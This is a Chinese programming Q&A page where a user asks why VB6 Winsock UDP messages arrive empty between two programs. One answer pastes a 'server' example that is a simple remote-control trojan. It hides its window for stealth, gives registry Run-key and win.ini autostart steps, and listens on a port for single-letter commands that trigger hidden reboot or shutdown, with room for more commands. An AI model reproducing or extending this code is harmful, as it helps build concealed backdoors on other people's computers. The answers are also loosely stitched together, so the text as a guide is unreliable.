当前位置:编程学习 > VB >>

请教VB高手一个winsock的问题

程序1:
Private Sub Form_Load()

With udpPeerA

.RemoteHost = "202.113.8.61"


.RemotePort = 1010


.LocalPort = 1011 '



.Bind 1011

End With
End Sub
Private Sub Command1_Click()

udpPeerA.SendData txtSend.Text '发送文本
End Sub
程序2:
Private Sub Form_Load()

With udpPeerB

.RemoteHost = "202.113.8.61"


.RemotePort = 1011


.LocalPort = 1010


.Bind 1010


End With
End Sub
Private Sub Command2_Click()

Dim strData As String

udpPeerA.GetData strData, vbString

txtOutput.Text = strData
End Sub

我在程序1里进行发送,想在程序2里接收,收到后放到txtoutput.text里,结果收到的都是空。之前我用txtSend_Change()y和udpPeerA_DataArrival(ByVal bytesTotal As Long)这样都能收到,请问我想一个程序点发送,然后另一个程序点接收,这样怎么收不到呢?
答案:udpPeerA_DataArrival(ByVal bytesTotal As Long)是接收关键,好久不弄VB了,现在没有IDE环境,应该是先立连接,还有不要不IP写死,放在文本框中,端口尽量用2000以上的,小点的系统要用。

下面是Winsock控件的相关属性,方法和事件。(略去一些暂用不到的)

*属性
-------------------------------------------------------------------------
LocalHostName | 本地机器名
LocalIP | 本地机器IP地址
LocalPort | 本地机器通信程序的端口(0<端口<65536)
RemoteHost | 远程机器名
RemotePort | 远程机器的通信程序端口
state | 连接的当前状态(文后有详细说明)
Protocal | 使用TCP或UDP协议(这里我们选‘0-sckTCPProtocal’)
--------------------------------------------------------------------------
*方法
--------------------------------------------------------------------------
Listen
Listen方法用于服务器程序,等待客户访问。
格式:Winsock对象.listen
Connect
Connect方法用于向远程主机发出连接请求
格式:Winsock对象.connect [远程主机IP,远程端口]
Accept
Accept方法用于接受一个连接请求
格式:Winsock对象.accept Request ID
Senddata
此方法用于发送数据
格式:Winsock对象.senddata 数据
Getdata
用来取得接收到的数据
格式:Winsock对象.getdata 变量 [,数据类型 [,最大长度]]
Close
关闭当前连接
格式:Winsock对象.close
*事件
----------------------------------------------------------------------------
Close | 远程机器关闭连接时触发
Connect | 连接建立好,可以进行通信时触发(客户端)
ConnectRequest | 有请求连接到达时产生(服务器端)
DataArrival | 有数据到达时触发
Error | 发生错误时发生
SendProgress | 数据传送进度
-----------------------------------------------------------------------------
程序代码如下:
--》服务器端程序(server.exe)
先在窗体中放置Winsock控件(他在运行时是看不见的),属性采用默认值,再设置Form1的属性ShowInTaskBar为False,Visible为False(这样才有隐蔽性嘛).对于程序的自启动可手工在注册表“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run”中增加键值"winserver"="c:\\windows\\server.exe"或配置文件Win.ini的Load,run写入"C:\windows\server.exe"来达到目的。当然也可通过在VB5中调用API函数来实现对注册表的写入,这就更方便了,不过由于实现过程较复杂,就不在这里说了.

Private Sub Form_Load()
On Error GoTo skip 注释:如此端口已有通信程序则退出
Winsock1.LocalPort = 1334 注释:端口值应大于1024,如还有冲突可改为其他值
Winsock1.Listen
Exit Sub
skip:
If Err.Number = 10048 Then
MsgBox "端口冲突,退出!", vbOKOnly, "注意!"
End
End If
End Sub

Private Sub Winsock1_Close()
If Winsock1.State <> sckClosed Then Winsock1.Close
Winsock1.Listen 注释:关闭连接后继续监听
End Sub

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
If Winsock1.State <> sckClosed Then Winsock1.Close
Winsock1.Accept requestID 注释:请求到达时,接受连接
End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim strget As String
Dim ccom As String
Winsock1.GetData strget 注释:读取到达的数据
Select Case strget
Case "a" 注释:判断到达的数据是否‘a’,是则重启,你也可自己定义(协议就是这样产生的)
ccom = curr_win() + "\RUNDLL.EXE user.exe,exitwindowsexec" 注释:不同机器设置不一样
Call Shell(ccom, vbHide) 注释:由函数curr_win()来判断
Case "b" 注释:如为‘b’则关闭计算机
ccom = curr_win() + "\RUNDLL.EXE user.exe,exitwindows"
Call Shell(ccom, vbHide) 注释:函数shell来执行命令
Case Else 注释:可以在此加入其他命令
End Select
End Sub

Function curr_win() As String
Dim i As Integer
Dim enstr As String
i = 1 注释:此函数通过读取环境变量来获得Windows目录
enstr = Environ(i)
Do While enstr <> ""
If Len(enstr) > 11 Then
If Left(enstr, 11) = "winbootdir=" Then
curr_win = Right(enstr, Len(enstr) - 11)
Exit Do
End If
End If
i = i + 1
enstr = Environ(i)
Loop
End Function

Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal
Scode As Long, ByVal Source As String, ByVal HelpFile As String,
ByVal HelpContext As Long, CancelDisplay As Boolean)
MsgBox "错误", vbOKOnly, "注意!" 注释:如程序出现错误,则简单的退出
End
End Sub
那你就在udppeerA_DataArrival事件里接收,把接收到的内容先保存到一个变量中,然后将那个接收按钮变成可用的。点击后再把变量中的内容放到文本框中。

上一个:vb 如何精确到毫秒的时间差?
下一个:VB中for的语句的作用

CopyRight © 2012 站长网 编程知识问答 www.zzzyk.com All Rights Reserved
部份技术文章来自网络,